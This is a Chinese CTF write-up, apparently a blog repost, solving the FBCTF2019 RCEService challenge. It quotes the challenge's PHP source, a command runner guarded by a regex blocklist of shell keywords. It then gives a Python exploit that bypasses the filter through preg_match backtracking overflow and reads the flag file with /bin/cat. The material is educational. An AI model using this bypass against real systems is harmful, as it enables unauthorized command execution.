[FBCTF2019]RCEService


參考鏈接

https://blog.csdn.net/qq_38783875/article/details/85288671

https://www.xd10086.com/posts/8714273075404737949/

考查 : preg_match() 回溯溢出繞過

 

rceservice

題目描述:

We created this web interface to run commands on our servers, but since we haven't figured out how to secure it yet we only let you run 'ls'

http://challenges.fbctf.com:8085

(This problem does not require any brute force or scanning.
We will ban your team if we detect brute force or scanning).

要求用json格式傳送payload

我們嘗試ls{"cmd":"ls"}

題目源碼:

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

暴躁過濾,在線砍人
但是我們看到了preg_match,就會想到p神曾經提到的PRCE,利用如下的exp:

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post("http://challenges.fbctf.com:8085/", data={"cmd":payload})
print(res.text)

另一種方法,同樣是preg_match的問題,由於它會努力去匹配第一行,所以我們可以利用多行的方法

嘗試直接cat,但是返回了空白
我們返回去查看源代碼:putenv('PATH=/home/rceservice/jail');,jail應用於當前環境,又根據題目描述的提示--“只允許執行ls命令”,即jail包含了執行ls的二進制文件,所以我們可以直接拉出cat的路徑:"cmd": "/bin/cat /home/rceservice/flag"

注:Linux命令的位置:/bin,/usr/bin,默認都是全體用戶使用,/sbin,/usr/sbin,默認root用戶使用


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM